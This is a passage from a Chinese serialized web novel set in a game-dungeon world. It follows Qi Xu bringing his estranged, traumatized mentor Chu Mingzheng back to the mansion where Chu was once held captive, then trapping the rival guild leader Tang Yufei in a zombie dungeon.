齐栩心急如焚,不再多话,三步并作两步跨过来,俯身将楚明铮从地上一搂,扶着让他站好,随即从口袋里拿出钥匙,低头给楚明铮将手铐解开了。 楚明铮揉着被拧到剧痛的手腕,神色疲倦,简单的给齐栩指了一下仓库的位置,示意他自己去看。 齐栩不放心的将他手腕拿过来又端详了片刻,确定没什么大碍,才松了一口气,然后抬头一眼瞥见了楚明铮脸上泛红的掌印和血渍。 “他们打你了?!”齐栩猛然瞪大眼睛,怒色瞬间溢出了瞳孔。 “是啊。”楚明铮懒洋洋的伸手揩了一下嘴角,指尖抹过一小块血水:“他们是冲着扳倒你来的,这一耳光也有你的功劳。” “师父谢谢你。”楚明铮嘲讽道。 齐栩眼眶红了,他没再多说话,转身走进仓库里看了一下大概情况,心里立刻就有数了。 小鬼婴大概是感知到了齐栩的出现,一时间咯咯笑了起来,在地上吱哇乱叫的循着齐栩的方向,往前爬动。 楚明铮凝视着他小小的身躯,半晌无声的叹了口气,俯身从地上将小鬼婴抱进了自己的臂弯里,小鬼婴从出生以来,第一次这么安稳的躺在母体的怀抱里,仿佛嗅到了熟悉的气息,短暂的愣神过后,就循着本能,拼命往楚明铮怀里钻。 鬼婴的力气虽然不比成年人,但是绝对异于寻常婴孩,他削尖脑袋,往楚明铮的胸膛里又顶又蹭,大有今天我就要重新钻回妈妈肚子里的架势。 楚明铮几乎快抱不住他,只好沉了脸色,拎着他的后脖颈,将鬼婴提溜的离自己远了些。 “能不能安分点?”楚明铮用惯常训齐栩的语气训这小鬼婴。 小鬼婴毫不介意他的严厉,依旧咯咯笑着朝他张开手,想让楚明铮抱抱他。 楚明铮拎着小鬼婴,两人在半空中大眼瞪小眼半晌,最后以楚明铮放弃为结尾。 “唉,算了,看在你刚才嚎那一嗓子的份上。”他一边喃喃说着,一边把小鬼婴重新搂回了怀里。 齐栩从仓库门里走出来了,看起来神情不虞,阴冷十足。 “怎么样,他们的耳朵还淌血吗?”楚明铮抱着孩子,站在货架前问他。 齐栩按捺下满腔怒火,胸膛起伏暗自深呼吸片刻,将跟他说话时的状态调整成了正常模式。 “接下来的事你不用管。”他抬头对楚明铮道:“交给我就好。” 楚明铮站在原地没动,无悲无喜的问:“我能信任你吗?” “能。”齐栩斩钉截铁。 一片狼藉的小卖部里半晌没人说话,齐栩的眼眶已经有点承受不住其中酸涩,眼看着就要落泪了。 “我能,师父。”他又重复了一遍,赌咒发誓似的道:“我不会伤害你,我保护你,就像以前副本里你保护我一样。” 楚明铮蹙起眉心,故作惊讶:“我还保护过你吗?” 齐栩不知道如何回答。 “不好意思,想不起来了。”楚明铮遗憾道:“我还以为我这辈子只虐待过你呢。” 齐栩站在原地,僵硬的像一块石板,他没法弥补从前犯下的错误,也没法修改以前跟楚明铮说过的重话,甚至没法穿越回半个小时前,阻止楚明铮在第二公会的人手里受伤。 “对不起。”他几不可闻道。 楚明铮选择性忽略了他的道歉,抬起下巴朝仓库方向点了点:“他们呢,你打算怎么处理?” “听唐虞非的意思,你们同事关系不太好,你在主控中心掣肘颇多,估计也没办法把他们怎么样,对吧?” 齐栩对这个说话没表示反对,悄无声息的握紧了捏在身侧的手机。 “啊……”楚明铮的眼神落在了对方还亮着的手机屏幕上:“你甚至还帮他们打了主控中心的医护电话,帮他们叫了救护车。” 楚明铮赞许道:“心地善良。” “不是!”齐栩终于忍不住气急败坏的反驳出声:“我这么做是有原因的!不是你想的那么简单!” “对,我想简单了。”楚明铮毫不客气的回话道:“我不了解你们深如潭水的办公室斗争,也不了解你跟你亲爱同事的平衡关系,我就是头脑简单,四肢发达。” “我也不指望你能帮我对第二公会的人以牙还牙。”楚明铮一字一句怒气逐级递增。 “但是我请你,别他妈再来烦我了,我对“主控中心一把手的师父”这个身份一点兴趣都不感,我在我自己家门口被袭击,也全都是拜你所赐——” 齐栩的脸色越发的苍白起来。 “你什么时候能不给我带来麻烦?”楚明铮恶狠狠的问。 “你什么时候能放过我跟我周围的人?!” 齐栩眼睛泪光闪动:“师父,我不是故意的。” “别喊我这个称呼!”楚明铮暴躁道:“我现在甚至不知道我能去哪儿!基地的防线对于主控中心的人来说可以视若无物,随意进出,今天是第二公会,明天后天,剩下的三四五六是不是要逐一上门拜访?” “不会的!”齐栩抢先道。 楚明铮停顿了一下,冷笑道:“我可不信。” 齐栩默然无声。 他知道楚明铮说的是对的,只要他还在主控中心,还坐在这个位置上,就会有无数的人试图来找他的弱点,来以此攻击他。 而他的弱点和软肋都太明显了。 就是养他长大,跟他纠缠不清的楚明铮。 主控中心风言风语不少,那些白天黑制服匆忙来回的工作者,背地里多少都有听闻齐栩跟他这位师父反目成仇的过往。 据说执政官当年未发迹的时候,差点在副本里被这位师父害死,后来恨极了师父,上位第一件事就是动用权限注销楚明铮的账号,将其秘密关押,至于楚明铮是生是死无人知晓。 一半人觉得齐栩肯定把师父秘密处决了,只是不好大张旗鼓的宣扬,以免引起民愤。 一半人倒是觉得执政官平时模样冷淡,但是推行新副本策略时比上一任执政官要有人情味的多,应该不会将事情做的太绝。 那楚明铮多少养活他长大了,生恩抵不过养恩,这是寻常人都明白的道理。 无论众人从前相信的是哪一种说法,如今楚明铮的ID重新恢复,并且从齐栩手中安然无恙完好归来,就无疑确定了一个结论。 那就是齐栩是有能力在囚禁时期解决掉楚明铮的,但是他没有这么做。 楚明铮这个人,对于齐栩而言的意义,绝对不止外界猜测的那么简单。 主控中心里的敌对势力不是傻子,当然一眼就看出,楚明铮是齐栩的七寸,所以只要他还在一把手的位置上一天,楚明铮这儿的客人就会络绎不绝,至于来者是善意,还是恶意,那可不就是听天由命了。 齐栩握紧了拳头,强迫自己冷静下来,下定决心似的对楚明铮开口:“师父,你听我说。” “你不能再呆在基地了。”齐栩急切的道:“你身体还没恢复完全,这些人不会停止上门的,你刚复生,身体机能要想恢复到以前需要一定时间,你应付不来他们的。” 楚明铮也不装了,顺着他的话斜眼道:“你想让我去哪儿?” “……跟我回去。”齐栩艰难的吐出几个字。 楚明铮眼睛里余怒未消,但是他好像也没力气发火了,只是长久而漠然的看着齐栩,末了耸了一下肩膀,评价道:“你可真行。” 他上辈子就是在齐栩的府邸里死的,死前缠绵病榻数月,白天打吊瓶吃药,晚上承受齐栩的蹂躏压制。 生前死后对那个地方都有极深的心理阴影。 现在齐栩告诉他,他得重新搬回去,回到那个暗无天日的府邸里去,楚明铮觉得自己还不如死了。 “我给你收拾了新的房间。”齐栩颤巍巍的去碰他的衣角,低声下气的道:“不会让师父,再住地下室了……” “爪子拿开,滚远点。”楚明铮躲开他的手,厌恶道。 两人一时僵持在原地,谁都不肯顺应对方分毫。 仓库里隐约传来唐虞非他们的呻吟,听上去是快要醒了,小卖部外风声呼啸,救护车的鸣笛声随着夜风被吹的老远,留给齐栩的时间不多了。 他将拳心再次攥紧,指甲深深嵌进掌心的软肉里,撂出了最后退无可退的底牌。 “你如果继续在基地里生活的话,会把危险带给楚小妙和其他人。” 楚明铮神情果然一怔,但是他随即就反驳:“谁说我要住基地了?我离开他们,自己一个人从基地消失的无影无踪,他们自然不会有事。” 齐栩苦笑一声。 “师父,你不了解主控中心的人,四年与外界断联,你也不了解网络上对你和基地的披露。” 楚明铮心生不妙:“什么意思?” “但凡查过你资料的人,都会知道你有个妹妹,叫楚小妙,是你捧在手心里的小姑娘,楚小妙本身没有名气,所以这个信息传播范围没那么广泛,但是你觉得来找你的有心之人会不知道这点吗?” “他们不会挟持楚小妙来威胁你,再拿你威胁我吗?” “就算他们知道楚小妙的性命威胁不到我,他们不会拷打楚小妙,逼她讲出你我的过往,弱点,还有道具机密吗?” 齐栩的每一句话都像尖刀,又狠又准的扎进楚明铮的心里。 小卖部外救护车呼啸而至,终于到达了门口。 齐栩也终于后退一步,示意自己讲完了,你自己做选择吧。 小鬼婴在楚明铮怀里吱哇乱叫,对周遭的氛围浑然不觉。 楚明铮抱着他,周身冰凉麻木到了极致,仿佛一千根银针在他的身上四下飞舞,将他扎出了一整片的血色针痕。 他缓缓的看向齐栩,眼睛里全是恨意。 齐栩轻声叹了口气,没说什么,转头去跟破门而入的医护人员对接,一边在费用单上签字,一边头不抬眼不睁的对楚明铮说话。 “想好了就自己上车,稍后我会派人把楚小妙他们一并接到我那儿,接下来的事情你就不用管了,我保证他们一切安全。” 楚明铮扯了一下嘴角,看着眼前依次被抬上救护车的唐虞非等人:“那这些人呢?你就打算让我吃了这个哑巴亏,明天白天继续跟他们当好同事?” 齐栩微微一笑,朝他伸出手,示意自己扶他上车。 “这个你也不用管了,我的解决方案会让师父满意的。” 楚明铮心里烦,一上车就坐到后排,偏过头靠在车窗上,闭起眼睛睡觉。 齐栩没喊司机来,自己开车来的,他上车的时候小心翼翼的将小鬼婴从楚明铮身侧抱走,放在了副驾驶自己能看得见的地方。 他俯身用安全带将鬼婴系好,然后驱车返回府邸。 一路上两人都没说过话,齐栩时不时的看一眼后视镜,镜中映出楚明铮冷淡秀丽的脸庞。 他自始至终维持着那个靠在车窗上的姿势,眼睛没有睁开过,眼睫落在苍白的肤色上,打下的阴影黯淡而晦涩。 也不知道是真睡着了,还是单纯不想面对他们的目的地。 齐栩抿着嘴唇,很难说自己现在是沮丧还是欣慰,纠结了半晌都无果,最后还是收回心神,后半程都专心开车了。 车身微微一晃,停在了原地。 楚明铮没有睁眼,依旧头痛欲裂的用额头抵着冰凉的玻璃。 齐栩熄火下车,绕过车身打开后排车门,轻声叫他:“师父,到了。” 楚明铮这才睁开眼睛,简短的“嗯”了一声,面无表情的俯身下车。 眼前府邸仍旧和离开时一样富丽堂皇,副官和随从已经等在门口了,很有眼色的过来帮齐栩拿东西,给楚明铮引路。 齐栩把他们都挡开了:“不用,我带他过去就行。” 楚明铮无波无澜的开口问道:“你答应我,要接过来的人呢?” “楚先生放心。”副官迅速接话:“都已经在西楼安排过了,您随时都可以过去确认他们的安全。” 楚明铮顺着他的目光,望向最西边的那栋洋楼,果然二三层的灯光都亮着,窗帘上映出楚小妙熟悉的身影。 楚明铮不动声色的松了口气。 齐栩一直站在一旁,耐心的等他确认完全,才抱着鬼婴将他手臂试探性的握了一下。 “走吧,师父,我带你去房间。” 楚明铮这次没有表示异议,转身跟了过去。 看起来他走后齐栩也没再修缮过自己的住宅,偌大的几个高档建筑围起来的府邸,从外观上来看极其气派,可人一旦走进去就会发现败絮其中。 ……也不能完全用破败来形容。 只是这栋住处有种说不上来的怪异清冷,走廊里常年昏暗无光,地毯干净整洁,壁炉里连丝灰都没有。 活像是几百年不住人了。 楚明铮站定脚步:“你还是让我回地下室住吧。” 齐栩显然没料到他这话,一时二张和尚摸不着头脑:“为什么?” “太阴森了。”楚明铮简短道:“地下室我以前那屋子,还能有点人气儿,带我过去。” “可是——” “我就要住那儿。”楚明铮不耐烦道:“还要我说几遍?” 可是您以前死在那张床上啊……齐栩心里默默的想,死过人的床,虽然死的是自己,但是晚上真的能睡着吗? 齐栩只好转弯,带着他坐电梯下楼,按照以前的习惯按指纹开地下室和卧室的锁。 楚明铮冷眼旁观着他这一系列举动,不由感慨了一句:“当年为了关住我,竟然用了这么多科技手段,辛苦你了啊执政官。” 齐栩闷声不说话,伸手打开了卧室大门。 楚明铮从前被囚禁的那间小屋全貌,至此重新展露在他面前,穿衣镜,木桌,靠墙而立的大床…… 往事如梭,历历在目。 他盯着屋中最大的那面穿衣镜,不可避免的回想起无数个被齐栩按在镜前的日夜。 齐栩会逼着他抬头,目不斜视的看着镜子里衣衫不整,狼狈不堪的自己。 ……那些悱恻到极点,也屈辱到极点的记忆犹如潮水灭顶而过。 楚明铮感觉胸口疼的发闷,呼吸不上来,眼睛里全是灼烧的热意。 好不容易以死相逼得以解脱,谁知道阴差阳错的,他还是回到这间卧室里来了。 齐栩觑着他越发不善的脸色,连忙亡羊补牢:“那个……我不设门锁了,地下室和卧室的指纹全都给你开放权限,我现在立马叫人来把这些旧家具都换了!” “师父你……别害怕。” 楚明铮没出声,一步一步的走回熟悉的床前,他想跟齐栩说他累了,今晚要睡觉了,家具什么的明天再说吧。 然而他刚一伸手掀开被子,目光就倏然震颤住了。 只见被子上还残存着些许液体干涸的痕迹,大片大片的污渍晕染开来,完全不能睡。 楚明铮目瞪口呆,这不正是四年前,他自杀前一天晚上,齐栩压着他翻滚过的那床被褥吗? 上边的痕迹因为时间的缘故已经很淡了,但是还保存着,能看出形状。 “哎呀!”齐栩慌张上前:“那个……你走了以后我再没收拾过,师父,师父我不是故意的,我,我我没有刻意保存,我就是忘记了——” 楚明铮今天攒了一晚上的怒气值终于到达了巅峰顶点,他恼羞成怒的将被子狠命撇在床上,回身用尽全力一拳揍在了齐栩肋骨上。 “你现在就给我出去烧了这破被子!” 楚明铮耳朵和脸颊都滚烫通红,感觉自己迟早在这个卧室里再气死一次—— 作者有话说:明天讲齐栩处理唐虞非的手段[比心] 锁章后删了一点点,不嫌麻烦的话可以搜一下作者微博“晋江付萌萌”[狗头叼玫瑰][爆哭] 第54章 一明一暗,泾渭分明。…… 等到一切都收拾停当,已经是后半夜了。 楚明铮往干净的床褥上一坐,神色依旧阴沉烦躁。 齐栩将枕头上最后一丝褶皱俯身铺好,随后在楚明铮身侧蹲了下来,半是战战兢兢半是诚恳的仰头道:“可以休息了,师父。” 楚明铮沉默着挥手,示意他无事退朝。 齐栩点点头,表示遵命,转身推门准备出去,忽然又想起什么似的,犹豫了一下转过头来:“对了师父,那个鬼婴……” “你自己看着安顿,我没力气管他了。”楚明铮疲倦道。 “好。” 齐栩无声的推门出去,轻声合上门板,屋里终于陷入寂静。 楚明铮躺在床上睁着眼睛瞪视天花板,怎么都睡不着,明明身体已经很累了,大脑却还是清醒的,几个小时前被掌掴的地方已经没感觉了,手腕却还隐隐作痛。 眼睛一闭就是唐虞非那张朝他凑近过来,令人恶心的脸。 楚明铮用力将被子攥出几道指痕,末了又强逼着自己松懈下来,侧头将脸埋进枕头里去,试图用这种缺氧的方式让自己睡着。 他的太阳穴突突突跳着疼,仿佛是种不详的预告。 果然,下一秒—— 门口把手从外部被人向下一按,吱呀一声推门而开,门口黯淡的光影里包裹出齐栩去而复返的身影。 楚明铮整个人身体一颤,闪电般从床上跳起,眼神惊惧,周身呈防御姿势,一整套动作完全下意识反应,霎时间就跟门口的齐栩呈对峙状态了。 齐栩也被他这巨大的反应吓了一跳,当即站在原地不敢动了。 他拎着手里的跌打药膏,颤巍巍的张口解释道:“师父……我,我以为你没睡,我没想干别的,我就是来给你送个药膏,你的手腕好像磨破皮了……” 楚明铮将一整张被子拥在身前,目光警惕的看着他,呼吸里全是难以压抑的颤抖。 过了好半晌,他才伸出手,往床头柜上一指,吐出两个字:“放那儿。” 齐栩依言放过去,迅速后退到门槛处。 “你可以走了。”楚明铮闭了一下眼睛,后背上不知不觉冷汗如瀑。 齐栩身上的气息和这个房间里本身就有的香薰味道纠缠在一处,化成无休止的梦魇肆虐着他的神志,楚明铮用被子抵了一下额头,胸腔里的□□而不稳到了极点。 楚明铮不想承认自己的软弱和惊恐,但是事到如今,他也不得不面对这个事实。 四年前的强制和折辱,在他的身体和灵魂上打下了永久的烙印,成为了他终身洗刷不掉的耻辱。 楚明铮从前是个自尊极高,唯我独尊的大家长,如果十年前有人告诉他,你以后会被你现在收养的这个孩子按在床上肆意蹂躏,并且落下严重的心理阴影。 楚明铮绝对认为对方疯了。 然而这就是眼下的事实,楚明铮攥着被单,手心的汗水涔涔而下,浸湿了紧握着的布料,他的牙齿因为剧烈打颤而咯咯作响。 他深深地吸了一口气,忍着战栗,对齐栩又重复了一遍。 “出去。” 齐栩站在原地没动,周遭阴影太浓,看不清他脸上的表情,他沉默了一会儿,开口问楚明铮:“你就这么怕我吗?” 语气里听不出悲喜,也听不出失望。 “师父,你到底要我怎么做,才能对我彻底放下戒备?”齐栩声音沙哑,一字一句干涩的问道。 楚明铮靠在墙角,仍然维持着那个屈膝拥着被子的防御姿态,他的太阳穴和胸口都疼的太厉害了,连带着眼前一阵一阵的发黑,连抬头跟齐栩对峙的力气都没有了。 “你明明在副本里都已经能允许我睡在你身侧了。”齐栩嗓子眼里的每个字都仿佛是挤出来的。 “我以为你至少对我没那么……” “对。”楚明铮蓦然抬起头,冷若冰霜的道:“不仅如此,副本里我还允许你上我了,你现在要不要上床再来一次?” “看看这回能不能再搞出个人不人鬼不鬼的小孩?” 齐栩被这话刺的心里难受,低声辩解:“你知道我不会的。” “那就出去吧。”楚明铮几不可闻道:“算我求你。” 齐栩站在原地静静的立了片刻,他不偏不倚站在门槛处,进一步就是触手可及的楚明铮卧室,退一步就是走廊,走廊里的灯盏晃晃悠悠的映在地上,与一片黑暗的卧室形成鲜明的光线对比。 一明一暗,泾渭分明。 明明只有一步之遥,齐栩却恍惚觉得,自己这辈子都跨不过去了。 “好。”他沉闷的应了一声,转身出门。 这回再没有去而复返,楚明铮僵硬发冷的四肢逐渐松懈下来,眼神逐渐从惊惧转为空洞,良久,他才缓缓将自己缩进被褥里,疲惫而沉重的闭上了眼睛。 …… 齐栩从地下室出来以后就回办公室去了。 每次进副本最起码要花费四五天,从副本出来以后,耽搁的主控中心日常工作就会在他的案头堆积如山,这次显然也不例外。 祝檀雪踩着高跟鞋噔噔噔的过来给他端了杯热拿铁。 “谢谢。”齐栩接过杯子,指了一下桌上的文件夹跟她确认:“应该就这些了吧?” “不一定。”祝檀雪抱歉的冲他笑笑:“您去安顿楚先生的那个点,魏长官他们加班加点开了个会,会议记录我稍后发您。” 齐栩面无表情的移开眼睛,对此没做评价。 “放心,会议内容没什么要总结的,我拿过来您过目一下就好,总体还是说那些陈词旧调。” “别说您了,连我都看烦了。” 齐栩一边整理文件一边头也不抬道:“如果是正常普通单位,按老魏这个年龄,应该都已经在办退休手续了。” 祝檀雪感觉此时说什么都不合适,于是就没出声接话。 齐栩整理好满桌子的纸张,又自言自语的疑惑道:“主控中心真的没有中老年人联谊活动吗?” “也许打发他去跳跳广场舞,就没这么多力气开会了。” 祝檀雪叹了口气:“长官,这话可千万别让除了我以外的人听见。” “放心。”齐栩心不在焉的说。 “对了,唐虞非安置好了吗?”他问。 “已经按您的吩咐,送到指定病房了,您随时都可以过去。”祝檀雪立刻回话。 “不过……”她犹豫道。 “说。” “不过您还是悠着点。”祝檀雪建议道:“毕竟是第二公会的会长,您处理手段太恶劣的话,影响不好。” 齐栩笑了笑:“当然了,我能有什么手段。” …… 主控中心专属私立医院有为高层设立了单人病房,这种病房的隔音效果总是格外的好。 如果不是护士早上来换药的话,唐虞非按理说应该是不会被杂音吵醒的。 他躺在病床上,费力的睁开眼睛,耳朵被厚重的纱布包裹着,轻轻一晃,耳膜连着脑袋就疼得慌。 看起来护士已经在他昏迷状态下,给他把伤口敷好了。 唐虞非艰难的想直起身子,忽然闻到一阵果篮的香气,他不由得神色一怔,循着果香看去。 只见齐栩一袭黑制服长身玉立,姿态闲散的靠在他病床正对着的墙前,冷峻的眉目舒展出一丝笑纹。 “醒了?” 唐虞非看着他那双眼睛,浑身哆嗦了一下,不寒而栗。 第55章 他一早就踏入了对方算无…… 唐虞非坐在床上,见鬼似的将他盯了半晌。 随即惊慌失措的去按护士铃:“来人啊,你们怎么做的病人隐私工作,有陌生人闯进我的病房!” 齐栩站起身,懒洋洋的走过去“咔哒”一声把门合上了,将病房和外界彻底隔开。 “省省吧,医药费还是我帮你垫付的。”齐栩心平气和的说。 “你帮我垫付的?”唐虞非怪叫一声,他活像是看怪物一样看着齐栩,脑子转过来的档口,又开始糊涂了:“你有这么好心?” “不对。”他面容惨白道:“你肯定没安好心,你是来替楚明铮报复我的,我昏迷的时候你对我做了什么?!” 他说着掀开被子开始上下检查自己,双手,双腿,小腹……最后将手伸到了耳朵处刚敷好药的纱布上,开始疯狂撕扯拍打,本来就脆弱的耳膜随着他剧烈的动作而隐隐作痛,直到鲜血从中重新涌出,汩汩染红了白色的纱布。 齐栩自始至终没有别的动作,很耐心的站在旁边注视着他的举动,没有制止的意思。 唐虞非抓狂般的搜寻了一圈都无果,最后绝望的用手指拼命往自己耳朵洞里戳,手指和床单上都是湿乎乎的血水,耳膜和神经连在一起疼到抽搐。 “怎么样?”齐栩终于慢悠悠的开口了:“找到我对你下手的地方了吗?” 唐虞非的耳朵仿佛蒙了一层血雾,听觉朦胧,但是他从齐栩嘲弄的眼光中领会到了对方的恶意,当即惨烈的吼出声,伸手就要去抓齐栩:“你对我干了什么!你个只会使阴招的王八蛋——” 齐栩后退一步,刚好避开了唐虞非的抓挠,神情显得十分无辜。 “唐会长,你这话我就不明白了,我从头到尾就只是喊了个救护车,把你和你的手下拉到医院了而已,其他的什么都没有做。” “我甚至不知道你是怎么倒在地上的。”齐栩诚恳道:“至于你说的楚明铮……他当时也在现场吗?我不知情。” 唐虞非耳膜疼的要炸,伸出带着血水的手指恶狠狠的指着他,却一句话都骂不出口。 “对了,您下一个副本是不是很快要来了?”齐栩拿出手机,看了一眼日历,思忖道:“按照公会组的排表,应该明天就要进去了吧?” 他十分友好的问唐虞非。 唐虞非惨笑一声,咬牙切齿道:“是,我明天要进副本,你打算怎么样呢?” “执政官,容我提醒你一句,六大公会和主控中心总部互相制衡,主神不会允许你滥用权力,在公会会长的副本里做手脚,上调难度,暗地使绊子的,你想用副本报复我?做梦。” “我可没这么想。”齐栩安然道。 “那就是我小人之心度君子之腹了?”唐虞非讽刺道。 “况且你这种时候故作哪门子深情?我只是昨天晚上跟楚明铮发生了一点口角,在说话的时候不小心……跟他拉扯了一下,打到他那张漂亮的脸了。” 齐栩的瞳孔瞬间一缩,刹那间寒意迸溅而出,几乎能化成实质咬死唐虞非。 “但是你……可是实打实的把他害的在鬼门关里走了四年,你哪来的资格报复我呢?”唐虞非盯着他的眼睛问。 齐栩缓缓的笑了,将所有情绪都压进眼底,轻声回答:“你说的对。” …… 唐虞非确实是第二天就得进副本。 齐栩走后他立刻紧张起来,火速喊来护士和医生,帮他把耳朵上的伤口重新缝合了一遍,又从公会库存里搜罗了一大通医疗类道具,能给自己用上的全用上了。 “老大,你确定你没事吗?”公会二把手在病房里忧心忡忡的说。 “我总觉得齐栩没那么大度量不计较,虽然传言他恨楚明铮恨到骨头里,可你见谁家仇人把另一个仇人的尸体保存五年,想尽办法复生,复生后第一件事就是让仇人陪着自己过副本……” 唐虞非脸色阴沉,扶着病床的栏杆道:“没事,执政官没有权限对主控中心同事的副本做调整,他要做什么幺蛾子,也只能等我出来。” “你把那几件护具给我放好,在这里等我回来。” 二把手犹疑着点了点头,总觉得哪里不对劲,不过已经来不及了,午夜钟声敲响,时间已到。 空气中磁场一阵扭曲,少倾,唐虞非就不见了踪影。 …… 残肢和血水晕染荒芜的土地,道旁的树杈上挂着干涸坏死的内脏,空气里阴风阵阵,远方山谷里传来人类惨烈的哀嚎。 唐虞非睁开眼睛,瞬间意识到了这个副本的所处环境。 这是个丧尸相关的副本,他微微松了口气,丧尸相关的副本,一般情况来讲推理难度并不怎么高。 大部分情况下需要的都是体力和耐力,还有在暴乱中找到食物和水的运气。 唐虞非顺着沿途的血迹,很快找到了玩家们所汇合的大厅,那是一间在丧尸围城中被抛弃的超市,里边有足够的补给,唐虞非推门进去,环顾四周,果然看见几个眼熟的高阶玩家。 几个人互相简单的点了一下头,以示致意,然后就再无联络了,这种S级别以上的副本,难度都是九死一生,各个玩家要么是绑定搭档,要么就是实力强悍,觉得队友只会拖后腿的孤狼。 唐虞非这回运气不好,他没有属下被分配进来,也没有绑定的搭档,这个超市里一眼望过去也没有熟悉的人。 他只能暂且当一回孤狼。 不过孤狼就孤狼,唐虞非年轻的时候,也是单枪匹马从副本里杀出来的,他并不害怕。 “不好意思,我来晚了。”超市的大门再次从外边被人推开。 寒风裹挟,钻进来一个穿着冲锋衣的年轻人,个高长腿,笑眯眯的俊朗模样,说话语调分外熟悉。 唐虞非心生不妙,下意识抬眼看去——齐栩!!! 他瞳孔地震,这孙子怎么在这里?! 执政官不是没有资格对同事的副本动用权限吗!? 这是怎么回事? 唐虞非瑟缩了一下,目光倏然变得狠戾,瞪视着齐栩。 那几个高阶玩家显然也认出了来人的身份,不约而同微微诧异的互相交换着眼光。 “齐长官?您怎么会出现在这里?”货架旁的男人狐疑道:“我记得您不会进S+以下的副本,这里是S级。” “是副本步骤出了问题需要调试吗?”一旁的女人胆战心惊的问:“千万不要这时候出事啊,我最擅长丧尸本了。” 齐栩抬起手,手心向下,手掌朝下压,做了一个安抚状的手势,温和道:“诸位放心,副本没有问题,我就是随机考察来跟进一程,中途就会离开,不耽搁大家正常通关。” 众人纷纷松了口气。 除了唐虞非。 他死死的盯着齐栩,眼神恨的发毒。 他无比确信,齐栩就是冲着他来的,什么随机考察都是扯淡。 哪个S级别的副本进入投放之前不是经过了成千上万遍的开会研讨,推敲,拆分支线,控制死亡率等无数繁杂琐碎的步骤才最终定下来的? 需要他这时候给自己加工作量,突然来搞什么随机抽检? 主神又不是脑子抽了。 唐虞非脸色发白,蜷缩在身侧的手指僵硬着发抖。 齐栩隔着人群,漫不经心朝他投来一瞥,仍旧笑意温文,甚至来说十分的……有礼貌。 就好像他真的是来考察的一样。 唐虞非本打算直接上前跟他撕破脸开干,谁料就在他发作的前一秒,超市的大门轰然一声巨响,仿佛有什么重物横着砸在了门板上,紧接着就是数十下的剧烈撞击,门外的生物一副不把门撞开誓不罢休的架势。 众人纷纷往超市里侧撤退,有枪的直接举枪瞄准了门口。 齐栩这时候半点不含糊,一马当先,带领众人摸出了超市尾端一道隐秘的出口,但是被锁的十分牢固。 他端详几秒,然后果断退开身,给那个举枪的大哥一示意。 对方立刻心领神会,抬起枪口“砰”的一声击碎门锁,满超市的玩家鱼贯逃生,转眼各自分散,谁也找不到谁了。 唐虞非当然不傻,他见识过齐栩在副本里的武力值,没打算在只有他们两人的情况下跟齐栩硬碰硬开战。 于是逃出超市的瞬间,他火速也找了个方向跑了,把齐栩彻底甩在了身后。 ……这个副本对于唐虞非来说过的格外艰辛。 到处都是丧尸,见着人就咬,马路上全是血淋淋的内脏,整个世界仿佛一个巨大的屠宰场,幕天席地,全是血色。 无论他跑到哪里去,丧尸都好像能精准定位到他一样,他从始至终都不敢合眼,三天之内遇到五六波丧尸围攻他一个人。 唐虞非从跳楼到厮杀全经历了一遍,到最后一点力气都没有了,半死不活的躲在丧尸进不来的闭塞空间里心里盘算,不愧是S级副本,对体力和反应速度的考量都能用巨大来形容了。 别的玩家不知道遇袭的频率是不是跟他一样高。 他不分白天和昼夜的跑了几天,在桥洞和树丛里都睡过,有天晚上刚在一处废弃建筑的角落里躺下,头顶几滴黏糊糊的液体淌了他一脸。 唐虞非火速跳起,只见头顶悬挂着一个自杀而死的白大褂老人,口袋里鼓囊囊的,隐约露出针管的形状。 唐虞非立刻意识到这老人可能是关键线索,当即顾不得死尸恶心的血渍流了他一身,跳上高台将老人解了下来,从头到尾在死尸身上摸索了一遍。 从这白大褂的口袋里找出了当年实验失败的记录,以及他对造成如今丧尸局面的愧怍,以死赎罪的悲痛云云……这些都不重要。 唐虞非将当年的实验报告和老人的日记都翻看了几遍,终于找到了最关键的一个信息点。 白大褂老人当年是在一家私立医院就职期间,研究出的新型药物,本以为是一门医学上的重大突破,没想到却将这个城市的民众推向了深渊。 市中心医院的地底下,有一条十来年前就废弃的地铁路线,入口很隐秘,只有最初接手医院的院长知道,事发时他就是通过那条地铁通道逃离这个城市的。 老人不肯走,他执意要留下来研制出药物的破解方法,但是都无济于事,最后自杀在这里。 唐虞非大喜过望,心说得来全不费工夫,只要找到中心医院,就能找到离开通道,自然也就能成功通关了。 这个S级副本未免也太简单了! 他一刻都没有耽误,立即启程,趁着夜色赶往中心医院。 中心医院外零零散散的走着几个丧尸,闻到人气就颤巍巍的朝他走来,嘶叫着朝他伸出满是流脓的手臂。 唐虞非轻巧的几个转身就闪开了,这点数量的丧尸,他根本不放在眼里。 中心医院虽然废弃很久了,但是大厅里的导航指引告示牌都还在。 唐虞非走楼梯一路下到了太平间,按照老人日记上所说的内容,太平间的底层,应该就是地铁通道了。 他沉心静气的攥了一下拳心,伸手推开了太平间的门。 黑压压的裹尸袋整齐的摆放在数个停尸台上,当空一束惨白灯光照射而下,不偏不倚,刚好打在最中间那个停尸台。 齐栩盘腿坐在台上,听见动静就抬起头来,语气愉快的跟他打招呼道:“晚上好,唐会长。” 唐虞非大脑一片空白,他完全呆滞的看着齐栩,不明白这人为什么会一副恭候已久的模样等在这个阴森的太平间里。 从进这个副本开始起,齐栩的每一步都踏在他意想不到的地方。 “你为什么会在这里?”唐虞非僵硬的开口道。 “我第二天的时候就找到中心医院了,又花了四五个小时,解决掉这个医院里埋伏的所有丧尸,理出了百分之九十的背景故事脉络。” “顺便把那位病毒研究者的尸体搬到了你必经的道路上,最后我收拾好一切,就在这里等你了。”齐栩拍了拍手,从停尸台上跳下来,走到他身前道。 “不是,等等……什么意思?”唐虞非完全糊涂了。 “是你把白大褂的尸体搬到我晚上睡觉的地方的?你早就知道我会在那个建筑物里休息,也早就知道我看了尸体,就会找到这里来……” 唐虞非一字一句的慢慢说道,一个极端恐怖的陷阱抽丝剥茧般逐渐浮现在眼前,他仿佛意识到了什么,然而身后太平间的门已经在他进来的时候被严丝合缝的反锁住了。 他面对着眼前的齐栩,突然发现他一早就踏入了对方算无遗策的陷阱里,现在退无可退。 第56章 “一派胡言!全盘编造!…… 齐栩安静的听着唐虞非惊恐的分析,对方因为极度战栗而扭曲的面容倒映在他的瞳孔里,与头顶白炽灯的色泽混合一处,折射处极其冰凉的光影。 “是啊。”齐栩幽幽叹息道:“你猜的没错。” “可,可你是怎么做到的?”唐虞非一步一步后退到停尸间的门口,身后靠着紧锁的大门,手背到身后去,试图找到一丝可能从里撬开的缝隙。 “我的路线你怎么可能知道!你是不是在手术中给我装了追踪器?我就知道你当时不安好心!你一开始就打定主意要害死我——” 